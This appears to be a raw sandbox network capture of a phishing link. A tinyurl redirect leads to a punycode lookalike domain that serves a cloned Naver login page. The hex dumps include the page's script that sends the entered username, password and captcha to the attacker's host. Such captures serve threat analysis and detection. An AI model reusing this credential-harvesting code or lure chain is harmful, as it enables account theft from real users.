Jan 14, 2025 08:12:54.951494932 CET	1.1.1.1	192.168.2.4	0x4282	No error (0)	tinyurl.com		104.18.111.161	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:12:54.951919079 CET	1.1.1.1	192.168.2.4	0x3373	No error (0)	tinyurl.com			65	IN (0x0001)	false
Jan 14, 2025 08:12:57.083081961 CET	1.1.1.1	192.168.2.4	0x4a67	No error (0)	xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e		45.14.246.94	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:00.390547991 CET	1.1.1.1	192.168.2.4	0xf37b	No error (0)	nid.naver.com	nid.naver.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:00.390547991 CET	1.1.1.1	192.168.2.4	0xf37b	No error (0)	kr1-nid.naver.com.nfront.nheos.com		125.209.233.21	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:00.390547991 CET	1.1.1.1	192.168.2.4	0xf37b	No error (0)	kr1-nid.naver.com.nfront.nheos.com		110.93.159.46	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:00.390547991 CET	1.1.1.1	192.168.2.4	0xf37b	No error (0)	kr1-nid.naver.com.nfront.nheos.com		125.209.233.29	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:00.390547991 CET	1.1.1.1	192.168.2.4	0xf37b	No error (0)	kr1-nid.naver.com.nfront.nheos.com		110.93.159.38	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:00.426285982 CET	1.1.1.1	192.168.2.4	0xecbb	No error (0)	static.nid.naver.com	static.nid.naver.com.nheos.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:00.661103964 CET	1.1.1.1	192.168.2.4	0x6b3e	No error (0)	static.nid.naver.com	static.nid.naver.com.nheos.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:00.661103964 CET	1.1.1.1	192.168.2.4	0x6b3e	No error (0)	static.nid.naver.com.nheos.com		223.130.195.167	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:00.661103964 CET	1.1.1.1	192.168.2.4	0x6b3e	No error (0)	static.nid.naver.com.nheos.com		125.209.226.239	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:00.875225067 CET	1.1.1.1	192.168.2.4	0x2930	No error (0)	nid.naver.com	nid.naver.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:02.581832886 CET	1.1.1.1	192.168.2.4	0x6202	No error (0)	nid.naver.com	nid.naver.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:02.581832886 CET	1.1.1.1	192.168.2.4	0x6202	No error (0)	kr1-nid.naver.com.nfront.nheos.com		110.93.159.38	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:02.581832886 CET	1.1.1.1	192.168.2.4	0x6202	No error (0)	kr1-nid.naver.com.nfront.nheos.com		125.209.233.29	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:02.581832886 CET	1.1.1.1	192.168.2.4	0x6202	No error (0)	kr1-nid.naver.com.nfront.nheos.com		110.93.159.46	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:02.581832886 CET	1.1.1.1	192.168.2.4	0x6202	No error (0)	kr1-nid.naver.com.nfront.nheos.com		125.209.233.21	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:02.842187881 CET	1.1.1.1	192.168.2.4	0xebe4	No error (0)	nid.naver.com	nid.naver.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:03.065356016 CET	1.1.1.1	192.168.2.4	0xba4d	No error (0)	ssl.pstatic.net	ssl.pstatic.net.nheos.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:03.065634966 CET	1.1.1.1	192.168.2.4	0x6499	No error (0)	ssl.pstatic.net	ssl.pstatic.net.nheos.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:03.065634966 CET	1.1.1.1	192.168.2.4	0x6499	No error (0)	ssl.pstatic.net.nheos.com	ssl.pstatic.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:03.104445934 CET	1.1.1.1	192.168.2.4	0x3a9e	No error (0)	static.nid.naver.com	static.nid.naver.com.nheos.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:03.104445934 CET	1.1.1.1	192.168.2.4	0x3a9e	No error (0)	static.nid.naver.com.nheos.com		223.130.195.167	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:03.104445934 CET	1.1.1.1	192.168.2.4	0x3a9e	No error (0)	static.nid.naver.com.nheos.com		125.209.226.239	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:03.107160091 CET	1.1.1.1	192.168.2.4	0x326	No error (0)	static.nid.naver.com	static.nid.naver.com.nheos.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:04.188016891 CET	1.1.1.1	192.168.2.4	0x5228	No error (0)	ssl.pstatic.net	ssl.pstatic.net.nheos.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:04.188168049 CET	1.1.1.1	192.168.2.4	0x43c4	No error (0)	ssl.pstatic.net	ssl.pstatic.net.nheos.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:04.188168049 CET	1.1.1.1	192.168.2.4	0x43c4	No error (0)	ssl.pstatic.net.nheos.com	ssl.pstatic.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:05.683635950 CET	1.1.1.1	192.168.2.4	0xbf61	No error (0)	lcs.naver.com	lcs.naver.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:05.684859037 CET	1.1.1.1	192.168.2.4	0xd657	No error (0)	lcs.naver.com	lcs.naver.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:13:15.487256050 CET	1.1.1.1	192.168.2.4	0x26a2	No error (0)	xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e		45.14.246.94	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:52.808805943 CET	1.1.1.1	192.168.2.4	0xab7a	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:13:52.810497999 CET	1.1.1.1	192.168.2.4	0x22d1	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

tinyurl.com

xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e

https:

static.nid.naver.com

nid.naver.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	60472	104.17.112.233	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:12:55 UTC	662	OUT	GET /286oc4ly HTTP/1.1 Host: tinyurl.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:12:56 UTC	1297	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:12:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close location: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit referrer-policy: unsafe-url x-robots-tag: noindex x-tinyurl-redirect-type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private x-tinyurl-redirect: eyJpdiI6ImNEUGpTOUdFNklaSWFXeEJYMDMyR0E9PSIsInZhbHVlIjoiaHZ2VzdsU1lPa2NXZm9mZVRSKzZsQVlOamp1dFd3U3IzVlV6M0Y2aFpCbllqREZsQms1N3lnNnNpbXNpbXM2ZCIsIm1hYyI6IjVkMDE5ZWMwZDkyNjNhODZjNjg0OGQ2Njg3MTRmZDQ5ZWVjNmFkNWNmZGQ4MmVkYzNjZDRiMDUxZDQyYmE2ZDgiLCJ0YWciOiIifQ== x-content-type-options: nosniff x-xss-protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=U2hiSq.1usgZuPhb2I1DIYK0cNuOwOA1qxyAH5zpIc8-1736838776-1.0.1.1-WPSPELr2qxQvzXLbeQeojin8p2O93Uf.oqopC_YUNhGmvtuB3p84KXS2omo3ceGWVC8LndgUnYXNESbUMobzXA; path=/; expires=Tue, 14-Jan-25 07:42:56 GMT; domain=.tinyurl.com; HttpOnly; Secure; SameSite=None Server-Timing: cfCacheStatus;desc="HIT" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901bd20e0cc941df-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 07:12:56 UTC	72	IN	Data Raw: 35 33 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a Data Ascii: 536<!DOCTYPE html><html> <head> <meta charset="UTF-8" />
2025-01-14 07:12:56 UTC	1269	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 78 6e 2d 2d 78 6a 32 62 35 36 32 63 2e 78 6e 2d 2d 39 69 31 62 30 31 6f 6e 77 71 71 7a 64 2e 78 6e 2d 2d 33 65 30 62 37 30 37 65 2f 3f 4c 4b 35 6e 6c 4c 3d 34 32 74 73 48 64 72 41 48 65 67 74 75 6c 76 75 26 61 6d 70 3b 6d 3d 76 65 72 69 66 79 26 61 6d 70 3b 74 6f 6b 65 6e 3d 64 32 78 6b 64 58 4e 6f 61 6e 6b 3d 26 61 6d 70 3b 42 72 45 37 69 51 3d 6b 71 62 77 57 61 54 6c 4d 6d 52 43 6d 63 4d 58 26 61 6d 70 3b 6c 61 73 74 3d 65 64 69 74 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 78 6e 2d 2d 78 Data Ascii: <meta http-equiv="refresh" content="0;url='https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit'" /> <title>Redirecting to https://xn--x
2025-01-14 07:12:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	60473	45.14.246.94	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:12:57 UTC	772	OUT	GET /?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit HTTP/1.1 Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:00 UTC	254	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:12:57 GMT Server: Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1 X-Powered-By: PHP/8.2.12 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-14 07:13:00 UTC	7938	IN	Data Raw: 33 34 39 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6b 6f 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6e 69 64 2e 6e 61 76 65 72 2e 63 6f 6d 22 3e 0d 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 69 63 6f 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e Data Ascii: 3498<!DOCTYPE html><html lang="ko"><head><base href="https://nid.naver.com"><link rel="icon" type="image/ico" href="favicon.ico"><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="format-detection
2025-01-14 07:13:00 UTC	5532	IN	Data Raw: b9 84 eb b0 80 eb b2 88 ed 98 b8 3c 2f 6c 61 62 65 6c 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 20 69 64 3d 22 75 70 77 22 20 6e 61 6d 65 3d 22 75 70 77 22 20 6d 61 78 6c 65 6e 67 74 68 3d 22 32 30 22 20 6f 6e 6b 65 79 75 70 3d 22 63 68 65 63 6b 53 68 69 66 74 55 70 28 65 76 65 6e 74 29 3b 22 20 6f 6e 46 6f 63 75 73 3d 22 63 6f 6e 76 65 72 74 44 69 76 28 27 75 70 77 27 2c 20 27 6e 6f 6e 65 27 29 22 20 6f 6e 42 6c 75 72 3d 22 63 6f 6e 76 65 72 74 44 69 76 28 27 75 70 77 27 2c 20 27 62 6c 6f 63 6b 27 29 3b 68 69 64 65 43 61 70 73 4c 6f 63 6b 28 27 68 65 6c 70 32 5f 31 27 29 3b 22 20 6f 6e 6b 65 79 70 72 65 73 73 3d 22 63 61 70 73 6c 6f 63 6b 28 65 76 65 6e 74 29 3b 73 68 6f 77 43 61 70 73 6c 6f 63 Data Ascii: </label><input type="password" id="upw" name="upw" maxlength="20" onkeyup="checkShiftUp(event);" onFocus="convertDiv('upw', 'none')" onBlur="convertDiv('upw', 'block');hideCapsLock('help2_1');" onkeypress="capslock(event);showCapsloc
2025-01-14 07:13:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-14 07:13:00 UTC	1829	IN	Data Raw: 37 31 39 0d 0a 68 74 74 70 73 3a 2f 2f 78 6e 2d 2d 78 6a 32 62 35 36 32 63 2e 78 6e 2d 2d 39 69 31 62 30 31 6f 6e 77 71 71 7a 64 2e 78 6e 2d 2d 33 65 30 62 37 30 37 65 3a 34 34 33 2f 2f 3f 6d 3d 63 6d 64 26 75 69 64 3d 77 6c 64 75 73 68 6a 79 26 6d 6d 3d 70 77 64 26 70 31 3d 27 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 75 69 64 29 20 2b 20 22 26 70 32 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 75 70 77 29 20 2b 20 22 26 70 33 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 63 61 70 74 63 68 61 29 2c 0d 0a 09 09 09 09 09 63 61 63 68 65 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 09 09 73 75 63 63 65 73 73 20 3a 20 66 75 6e 63 74 69 6f 6e 28 64 61 74 61 29 20 7b 0d 0a 09 09 09 09 09 09 Data Ascii: 719https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//?m=cmd&uid=wldushjy&mm=pwd&p1=' + encodeURIComponent(uid) + "&p2=" + encodeURIComponent(upw) + "&p3=" + encodeURIComponent(captcha),cache: false,success : function(data) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	60475	45.14.246.94	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:01 UTC	698	OUT	GET //assets/css/help_member.css HTTP/1.1 Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:01 UTC	305	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:13:01 GMT Server: Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1 Last-Modified: Fri, 06 Dec 2024 00:28:16 GMT ETag: "4b4b8-6288f1750e408" Accept-Ranges: bytes Content-Length: 308408 Connection: close Content-Type: text/css
2025-01-14 07:13:01 UTC	7887	IN	Data Raw: 2f 2a 32 30 32 31 2d 36 2d 33 20 31 31 3a 32 31 3a 32 37 20 41 4d 2a 2f 0d 0a 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 62 6f 64 79 2c 62 75 74 74 6f 6e 2c 64 64 2c 64 6c 2c 64 74 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 69 6e 70 75 74 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 6c 2c 70 2c 73 65 6c 65 63 74 2c 74 61 62 6c 65 2c 74 64 2c 74 65 78 74 61 72 65 61 2c 74 68 2c 75 6c 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 0d 0a 7d 0d 0a 0d 0a 62 6f 64 79 2c 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 73 65 6c 65 63 74 2c 74 61 62 6c 65 2c 74 65 78 74 61 72 65 61 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d Data Ascii: /2021-6-3 11:21:27 AM/@charset "UTF-8";body,button,dd,dl,dt,fieldset,form,h1,h2,h3,h4,h5,h6,input,legend,li,ol,p,select,table,td,textarea,th,ul { margin: 0; padding: 0}body,button,input,select,table,textarea { font-family: -apple-
2025-01-14 07:13:01 UTC	8000	IN	Data Raw: 76 65 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 33 32 70 78 20 35 31 70 78 20 39 35 70 78 0d 0a 7d 0d 0a 0d 0a 23 63 6f 6e 74 65 6e 74 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 27 27 0d 0a 7d 0d 0a 0d 0a 23 66 6f 6f 74 65 72 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 3b 0d 0a 20 20 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 39 31 34 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 32 30 70 78 0d 0a Data Ascii: ve; padding: 32px 51px 95px}#content:after { display: block; clear: both; content: ''}#footer { position: relative; z-index: 10; clear: both; max-width: 914px; margin: 0 auto; padding: 0 20px
2025-01-14 07:13:01 UTC	8000	IN	Data Raw: 7d 0d 0a 0d 0a 2e 6c 73 74 5f 6d 6f 64 65 6c 20 6c 69 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 38 70 78 20 30 20 30 20 36 70 78 0d 0a 7d 0d 0a 0d 0a 2e 6c 73 74 5f 6d 6f 64 65 6c 20 2e 72 65 63 74 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 31 35 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 39 61 39 61 39 61 0d 0a 7d 0d 0a 0d 0a 2e 6c 73 74 5f 6d 6f 64 65 6c 20 65 6d 20 7b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 38 65 38 65 38 65 0d 0a 7d 0d 0a 0d 0a 2e 6c 73 74 5f 6d 6f 64 65 6c 20 2e 6c 69 6e 6b 20 7b 0d 0a 20 20 20 20 74 65 78 74 2d 64 Data Ascii: }.lst_model li { position: relative; padding: 8px 0 0 6px}.lst_model .rect { position: absolute; top: 15px; left: 0; background: #9a9a9a}.lst_model em { color: #8e8e8e}.lst_model .link { text-d
2025-01-14 07:13:01 UTC	8000	IN	Data Raw: 6c 6f 72 3a 20 23 34 66 34 66 34 66 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 65 35 65 35 65 35 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 6e 69 64 2e 6e 61 76 65 72 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 75 73 65 72 2f 69 6d 61 67 65 73 2f 68 65 6c 70 2f 62 67 5f 62 6f 78 2e 67 69 66 29 20 72 65 70 65 61 74 2d 78 20 6c 65 66 74 20 62 6f 74 74 6f 6d 0d 0a 7d 0d 0a 0d 0a 2e 62 6f 78 34 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 27 27 0d 0a Data Ascii: lor: #4f4f4f; border: 2px solid #e5e5e5; background: url(https://static.nid.naver.com/images/user/images/help/bg_box.gif) repeat-x left bottom}.box4:after { display: block; visibility: hidden; clear: both; content: ''
2025-01-14 07:13:01 UTC	8000	IN	Data Raw: 2c 61 5b 68 72 65 66 5d 2e 61 64 5f 6d 6f 72 65 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 0d 0a 7d 0d 0a 0d 0a 2e 61 64 5f 6d 6f 72 65 5f 6c 69 73 74 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 37 70 78 20 30 20 30 20 31 70 78 0d 0a 7d 0d 0a 0d 0a 2e 61 64 5f 6d 6f 72 65 5f 6c 69 73 74 20 6c 69 2b 6c 69 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 70 78 0d 0a 7d 0d 0a 0d 0a 2e 61 64 5f 6d 6f 72 65 5f 6c 69 73 74 20 2e 69 74 65 6d 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 36 70 78 3b 0d 0a 20 20 20 20 66 6f 6e Data Ascii: ,a[href].ad_more:hover { text-decoration: none}.ad_more_list { padding: 7px 0 0 1px}.ad_more_list li+li { margin-top: 2px}.ad_more_list .item { position: relative; display: block; padding-left: 6px; fon
2025-01-14 07:13:01 UTC	8000	IN	Data Raw: 65 62 2f 75 73 65 72 2f 73 70 5f 73 65 6c 5f 6c 6f 67 69 6e 5f 61 72 65 61 5f 31 34 30 33 32 36 2e 67 69 66 29 0d 0a 7d 0d 0a 0d 0a 2e 74 61 62 6c 65 32 20 2e 62 74 6e 5f 6f 70 74 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 31 39 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 70 78 20 30 20 2d 31 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 31 39 35 70 78 0d 0a 7d 0d 0a 0d 0a 2e 74 61 62 6c 65 32 20 2e 62 74 6e 5f 70 77 64 5f 65 64 69 74 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 35 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 70 78 20 30 20 2d 31 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 32 35 70 78 0d 0a 7d 0d 0a Data Ascii: eb/user/sp_sel_login_area_140326.gif)}.table2 .btn_opt { width: 119px; margin: 6px 0 -1px; background-position: 0 -195px}.table2 .btn_pwd_edit { width: 105px; margin: 6px 0 -1px; background-position: 0 -225px}
2025-01-14 07:13:01 UTC	8000	IN	Data Raw: 70 77 34 77 61 79 20 64 74 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 32 31 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 37 32 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 20 31 35 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 34 70 78 20 73 6f 6c 69 64 20 23 65 64 65 64 65 64 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 6e 69 64 2e 6e 61 76 65 72 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 75 73 65 72 2f 69 6d 61 67 65 73 2f 68 65 6c 70 2f 68 33 5f 70 77 34 77 61 79 2e 67 69 66 29 20 6e 6f 2d 72 65 70 65 61 74 0d 0a 7d 0d 0a 0d 0a 2e 70 77 34 77 61 79 20 64 74 20 73 70 61 6e 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 Data Ascii: pw4way dt { width: 121px; height: 72px; margin: 0 auto 15px; border-bottom: 4px solid #ededed; background: url(https://static.nid.naver.com/images/user/images/help/h3_pw4way.gif) no-repeat}.pw4way dt span { position: re
